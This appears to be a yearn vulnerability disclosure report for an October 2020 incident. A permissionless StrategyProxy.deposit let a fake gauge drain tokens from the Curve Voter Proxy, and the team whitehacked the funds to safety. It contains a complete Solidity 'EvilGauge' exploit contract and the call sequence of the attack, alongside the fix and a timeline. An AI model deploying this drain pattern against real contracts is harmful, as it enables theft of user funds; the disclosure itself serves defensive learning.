Skip to content

Latest commit

 

History

History
69 lines (44 loc) · 2.63 KB

2020-10-10.md

File metadata and controls

69 lines (44 loc) · 2.63 KB

Vulnerability disclosure 2020-10-10

Summary

  • A vulnerability that puts token balance of Curve Voter Proxy at risk was discovered.
  • The only token in its balance was $20k worth of CRV.
  • The vulnerability was exploited by the team, all funds are rescued.

Background

At 11:00 (UTC) Emiliano Bonassi shares a concern that StrategyProxy.deposit(address gauge, address token) can be executed by anyone. He explains that by constructing a fake gauge contract, it's possible to force CurveYCRVVoter to call deposit(uint amount) on it with a token allowance.

The concern is initially dismissed as funds should never end up in the proxy. Emiliano follows up with the info that there is in fact 34,352 CRV sitting in the Voter Proxy.

A few moments later Artem writes a proof of concept exploit contract, and confirms the vulnerability in forked mainnet.

The team decides to whitehack the contract to not put funds at risk. Artem exploits the contract and sends the recovered funds to multisig.

Details of vulnerability

An EvilGauge contract which mimics Curve Gauge can be constructed. An attacker calls StrategyProxy.deposit(EvilGauge, Token), which calls and then calls CurveYCRVVoter.execute with the following actions:

  • Token.approve(EvilGauge, Token.balanceOf(CurveYCRVVoter))
  • EvilGauge.deposit(Token.balanceOf(CurveYCRVVoter))

Since EvilGauge has allowance from CurveYCRVVoter, it can Token.transferFrom that amount of funds for its benefit.

Exploit contract

pragma solidity =0.5.17;

import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";

contract EvilGauge {

    IERC20 token;
    address owner;

    constructor(address _token) public {
        owner = msg.sender;
        token = IERC20(_token);
    }

    function deposit(uint amount) public {
        token.transferFrom(msg.sender, owner, amount);
    }
}

Details of fix

StrategyProxy.deposit(address,address) must only be callable by approved Strategies:

require(strategies[msg.sender], "!strategy");

Each proxy strategy should call StrategyProxy.lock() on harvest() to avoid leaving residue CRV in Voter Proxy contract.

Timeline of events

  • Oct 10, 2020, 11:00 UTC Emiliano raises the concern in YFI Secret Admirers chat.
  • 12:53 Emiliano reaches out to Artem with more details, Artem writes the exploit.
  • 13:09 Exploit is confirmed to steal funds in forked mainnet.
  • 13:15 Exploit deployed on mainnet and the contract is whitehacked. The funds are sent to yearn multisig.

Links